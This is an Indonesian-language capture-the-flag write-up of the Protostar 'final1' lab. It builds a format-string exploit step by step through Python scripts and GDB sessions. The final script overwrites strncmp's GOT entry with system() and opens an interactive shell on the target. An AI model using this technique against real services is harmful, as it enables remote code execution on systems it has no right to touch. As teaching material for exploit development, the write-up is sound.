Protostar Final 1

Alat dan Bahan

  • Fail: final1
  • Sistem operasi: Debian 9 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
  char buf[512];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

  syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
  char *q;

  q = strchr(str, '\r');
  if(q) *q = 0;
  q = strchr(str, '\n');
  if(q) *q = 0;
}

void parser()
{
  char line[128];

  printf("[final1] $ ");

  while(fgets(line, sizeof(line)-1, stdin)) {
      trim(line);
      if(strncmp(line, "username ", 9) == 0) {
          strcpy(username, line+9);
      } else if(strncmp(line, "login ", 6) == 0) {
          if(username[0] == 0) {
              printf("invalid protocol\n");
          } else {
              logit(line + 6);
              printf("login failed\n");
          }
      }
      printf("[final1] $ ");
  }
}

void getipport()
{
  int l;
  struct sockaddr_in sin;

  l = sizeof(struct sockaddr_in);
  if(getpeername(0, &sin, &l) == -1) {
      err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  getipport();
  parser();

}

Identifikasi Kelemahan

Pada klien, buatlah script a.py dibawah ini untuk mencoba koneksi ke server.

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
    buffer = ''
    while check not in buffer:
        buffer += s.recv(1)
    return buffer

username = ''
login = ''

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send(username+'\n')
print read_until("[final1] $ ")
s.send(login+'\n')
print read_until("[final1] $ ")

Jalankan dengan perintah.

$ python a.py
waiting... hit [enter]

Jangan tekan enter! Pada server, login sebagai root dan debug program dengan GDB.

# pidof final1
1456 1314

# gdb -q --pid 1456
Attaching to process 1456
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
(gdb) 

(gdb) info functions strncmp
All functions matching regular expression "strncmp":

File strncmp.c:
int *__GI_strncmp(const char *, const char *, size_t);

File ../sysdeps/i386/i486/bits/string.h:
int __strncmp_g(const char *, const char *, size_t);

Non-debugging symbols:
0x08048d9c  strncmp
0x08048d9c  strncmp@plt
Current language:  auto
The current source language is "auto; currently asm".
(gdb) x/3i 0x08048d9c
0x8048d9c <strncmp@plt>:    jmp    *0x804a1a8
0x8048da2 <strncmp@plt+6>:    push   $0x160
0x8048da7 <strncmp@plt+11>:    jmp    0x8048acc
(gdb) x/wx 0x804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:    0x08048da2
(gdb) x system
0xb7ecffb0 <__libc_system>:    0x890cec83
(gdb) info symbol system
system in section .text of /lib/libc.so.6

Coba login dengan format string untuk mencari elemen 0x41414141 pada output /var/log/syslog.

# nc 127.0.0.1 2994
[final1] $ username AAAA %x %x %x %x %x %x %x %x
[final1] $ login BBBB %x %x %x %x %x %x %x %x
login failed
[final1] $ ^C

# cat /var/log/syslog
May 18 17:31:54 (none) final1: Login from 127.0.0.1:40201 as [AAAA 8049ee4 804a2a0 804a220 bffffc16 b7fd7ff4 bffffa68 69676f4c 7266206e] with password [BBBB 31206d6f 302e3732 312e302e 3230343a 61203130 415b2073 20414141 25207825]

Karena alignment masih berantakan disebabkan jumlah karakter hostname yang selalu berubah.

415b2073 20414141

Maka perlu diberi padding agar alignment bisa tetap saama.

pad = "A"*(24-len(hostname))

Buatlah script b.py yang berisi kode dibawah ini.

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
    buffer = ''
    while check not in buffer:
        buffer += s.recv(1)
    return buffer

STRNCMP = struct.pack("I", 0x0804a1a8)
# subs for system
# 0xb7ecffb0 <__libc_system>:    0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]

ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+'%08x '*28
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+'\n')
#login = raw_input('waiting... hit [enter]')
s.send('login '+login+'\n')
print read_until("[final1] $ ")

Jalankan script diatas dan baca /var/log/syslog untuk melihat output.

# python b.py 
[final1] $ 
waiting... hit [enter]
[final1] $ 

# tail /var/log/syslog
May 20 02:58:50 (none) final1: Login from 127.0.0.1:33373 as [AAAAAAAAABBBB08049ee4 0804a2a0 0804a220 bffffbd6 b7fd7ff4 bffffa28 69676f4c 7266206e 31206d6f 302e3732 312e302e 3333333a 61203337 415b2073 41414141 41414141 42424242 78383025 38302520 30252078 ] with password [CCCC]

Buffer BBBB sudah rapi dengan 42424242 yang terletak pada elemen ke 17. Buatlah script c.py dengan kode dibawah ini.

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
    buffer = ''
    while check not in buffer:
        buffer += s.recv(1)
    return buffer

STRNCMP = struct.pack("I", 0x0804a1a8)
# subs for system
# 0xb7ecffb0 <__libc_system>:    0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]

ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$08x %18$08n'
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+'\n')
s.send('login '+login+'\n')
print read_until("[final1] $ ")

Jalankan script diatas, dan jangan tekan enter sebelum mengaktifkan GDB dan memeriksa alamat strncmp.

# python c.py 
[final1] $ 
waiting... hit [enter]

Pada server, gunakan GDB.

# pidof final1
1529 1314

# gdb -q --pid 1529
Attaching to process 1529
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S

(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:    0x08048da2
Current language:  auto
The current source language is "auto; currently asm".

Pada klien tekan enter sampai output dibawah ini muncul.

# python c.py 
[final1] $ 
waiting... hit [enter]
[final1] $

Baru, pada server tekan c untuk melanjutkan proses dan periksa GOT strncmp.

(gdb) c
Continuing.

Program received signal SIGPIPE, Broken pipe.
0xb7f53c8e in __write_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:    0x00000039

Untuk mendapatkan alamat strncmp pada server maka kurangi nilai system dengan offset tersebut pada byte yang berpengaruh agar fungsi strncmp bisa ditukar dengan fungsi system.

>>> 0xb7ecffb0
>>> 0x0000ffb0 - 0x00000039+8
>>> 65407

Buatlah script e.py dengan kode dibawah ini.

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
    buffer = ''
    while check not in buffer:
        buffer += s.recv(1)
    return buffer

STRNCMP = struct.pack("I", 0x0804a1a8)
# subs for system
# 0xb7ecffb0 <__libc_system>:    0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]

ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+'%17$65407x %18$08n'
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+'\n')
#login = raw_input('waiting... hit [enter]')
s.send('login '+login+'\n')
print read_until("[final1] $ ")

Jalankan script diatas, dan jangan tekan enter sebelum mengaktifkan GDB dan memeriksa alamat strncmp.

# python e.py 
[final1] $ 
waiting... hit [enter]

Pada server, gunakan GDB.

# pidof final1
1565 1314

# gdb -q --pid 1565
Attaching to process 1565
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S

(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:    0x08048da2
Current language:  auto
The current source language is "auto; currently asm".
(gdb)

Pada klien tekan enter sampai output dibawah ini muncul.

# python e.py 
[final1] $ 
waiting... hit [enter]
[final1] $

Baru, pada server tekan c untuk melanjutkan proses dan periksa GOT strncmp.

(gdb) c
Continuing.

Program received signal SIGPIPE, Broken pipe.
0xb7f53c8e in __write_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:    0x0000ffb0

GOT perlu dimodifikasi agar diarahkan ke alamat system pada elemen ke 18. Perlu dihitung juga offset byte awal system dengan byte sebelumnya 0xffb0. Tambahkan byte didepan agar hasilnya positif.

# python
>>> 0x1b7ec - 0xffb0-1
>>> 47163

Buatlah script g.py dengan kode dibawah ini.

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 2994))

def read_until(check):
    buffer = ''
    while check not in buffer:
        buffer += s.recv(1)
    return buffer

STRNCMP = struct.pack("I", 0x0804a1a8)
STRNCMP2 = struct.pack("I", 0x0804a1a8+2)
# subs for system
# 0xb7ecffb0 <__libc_system>:    0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]

ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+STRNCMP2+'%17$65403x %18$n'+'%18$47163x %19$n'
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('waiting... hit [enter]')
s.send('username '+username+'\n')
#login = raw_input('waiting... hit [enter]')
s.send('login '+login+'\n')
print read_until("[final1] $ ")

Jalankan script diatas, dan jangan tekan enter sebelum mengaktifkan GDB dan memeriksa alamat strncmp.

# python g.py 
[final1] $ 
waiting... hit [enter]

Pada server, gunakan GDB.

# pidof final1
10784 1314

# gdb -q --pid 10784
Attaching to process 10784
Reading symbols from /opt/protostar/bin/final1...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
(gdb)

Pada klien tekan enter sampai output dibawah ini muncul.

# python g.py 
[final1] $ 
waiting... hit [enter]
[final1] $

Baru, pada server tekan c untuk melanjutkan proses dan periksa GOT strncmp.

(gdb) c
Continuing.

Program received signal SIGPIPE, Broken pipe.
0xb7f53c8e in __write_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
(gdb) x/wx 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:    0xb7ecffb0

GOT strncmp berhasil ditimpa dengan fungsi system yang beralamatkan pada 0xb7ecffb0. Buatlah script h.py pada klien dan tambahkan telnetlib agar bisa interaksi langsung layaknya reverse shell.

import socket
import struct
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.101', 2994))

def read_until(check):
    buffer = ''
    while check not in buffer:
        buffer += s.recv(1)
    return buffer

STRNCMP = struct.pack("I", 0x0804a1a8)
STRNCMP2 = struct.pack("I", 0x0804a1a8+2)
# subs for system
# 0xb7ecffb0 <__libc_system>:    0x890cec83
# May 18 16:42:47 (none) final1: Login from 127.0.0.1:40200 as [a] with password [a]

ip, port = s.getsockname()
hostname = ip+':'+str(port)
pad = "A"*(24-len(hostname))
username = pad+'BBBB'+STRNCMP+STRNCMP2+'%17$65403x %18$n'+'%18$47163x %19$n'
login = 'CCCC'

print read_until("[final1] $ ")
s.send('username '+username+'\n')
s.send('login '+login+'\n')
print read_until("[final1] $ ")
t = telnetlib.Telnet()
t.sock = s
t.interact()

Referensi

results matching ""

    No results matching ""